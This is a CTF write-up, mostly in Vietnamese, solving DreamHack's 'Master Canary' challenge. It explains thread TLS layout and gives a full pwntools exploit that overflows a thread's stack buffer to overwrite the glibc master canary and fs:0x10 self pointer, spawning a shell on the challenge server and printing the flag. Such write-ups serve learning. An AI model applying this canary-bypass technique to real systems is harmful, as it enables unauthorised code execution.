DreamHack.io
359 - Master Canary
February 7, 2026
•
January 17, 2026
•
Easy
Recon
Mitigation
$ pwn checksec mc_thread
[*] '/home/hungnt/ctfs/dreamhack.io/359/mc_thread'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)Code
// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void read_bytes(char *buf, int size) {
int i;
for (i = 0; i < size; i++)
if (read(0, buf + i*8, 8) < 8)
return;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}Solve
Thread mới được cấp vùng nhớ nằm giữa heap và stack của main thread:

Vùng 0x1000 bytes kia là guard page. Vùng 0x800000 được cấp phát cho thread mới, gồm stack (ở địa chỉ thấp, vì grow down), TLS ở địa chỉ cao.
Master canary nằm tại fs_base:0x28 (trong TLS):

Khoảng cách từ buffer đến master canary:

Overflow để ghi đè master canary nhưng gặp sigsegv:

Why? ChatGPT said:
Payload tràn đã ghi đè fs:0x10 (self), nhưng chưa tới fs:0x28 (stack_guard) thì chương trình crash trước.
Lý do:
Mỗi lần read(), Glibc luôn gọi __pthread_disable_asynccancel()
Hàm này lấy self = *(fs:0x10) rồi ghi self->canceltype
Khi self đã bị ghi thành 0x4141414141414141, Glibc cố ghi vào
[0x4141414141414141 + 0x972] → địa chỉ không hợp lệ → SIGSEGVHóa ra là tại fs_base:0x10:

Ghi đè các thứ hợp lệ là ok:

Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("mc_thread_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *0x401396
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "host8.dreamhack.games"
port = 14952
return remote(host, port)
p = conn()
slan(p, b'Size', 0x1000)
pl = pad(0x118)
pl += p64(exe.symbols['giveshell']) # return address
pl = pl.ljust(0x910, b'A')
pl += p64(0x404800 - 0x972) # self
pl += p64(1) + p64(0)
pl += pad(8) # master canary
sla(p, b'Data', pl)
ia(p)$ py solve.py
[+] Opening connection to host8.dreamhack.games on port 14952: Done
[*] Switching to interactive mode
: $ ls
flag
mc_thread
$ cat flag
DH{4aff595366eb9100145182b138c160003a59471c2da192bd67bb267210545e18}